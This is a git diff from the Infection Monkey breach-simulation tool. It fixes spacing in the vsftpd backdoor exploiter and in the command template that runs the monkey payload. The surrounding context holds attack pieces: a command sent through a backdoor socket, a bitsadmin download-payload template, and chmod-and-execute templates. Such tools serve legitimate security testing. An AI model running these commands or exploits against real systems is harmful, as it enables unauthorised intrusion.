diff --git a/monkey/infection_monkey/exploit/vsftpd.py b/monkey/infection_monkey/exploit/vsftpd.py
index bb832358a..62a215383 100644
--- a/monkey/infection_monkey/exploit/vsftpd.py
+++ b/monkey/infection_monkey/exploit/vsftpd.py
@@ -150,7 +150,7 @@ class VSFTPDExploiter(HostExploiter):
         # Set unlimited to memory
         # we don't have to revert the ulimit because it just applies to the shell obtained by our
         # exploit
-        run_monkey = ULIMIT_V + UNLIMITED + run_monkey
+        run_monkey = ULIMIT_V + UNLIMITED + " " + run_monkey
         run_monkey = str.encode(str(run_monkey) + "\n")
         time.sleep(FTP_TIME_BUFFER)
         if backdoor_socket.send(run_monkey):
diff --git a/monkey/infection_monkey/model/__init__.py b/monkey/infection_monkey/model/__init__.py
index c8cf5aa1c..bee29885c 100644
--- a/monkey/infection_monkey/model/__init__.py
+++ b/monkey/infection_monkey/model/__init__.py
@@ -39,7 +39,7 @@ BITSADMIN_CMDLINE_HTTP = (
     "bitsadmin /transfer Update /download /priority high %(http_path)s %(monkey_path)s"
 )
 CHMOD_MONKEY = "chmod +x %(monkey_path)s"
-RUN_MONKEY = " %(monkey_path)s %(monkey_type)s %(parameters)s"
+RUN_MONKEY = "%(monkey_path)s %(monkey_type)s %(parameters)s"
 # Commands used to check for architecture and if machine is exploitable
 CHECK_COMMAND = "echo %s" % ID_STRING
 # Architecture checking commands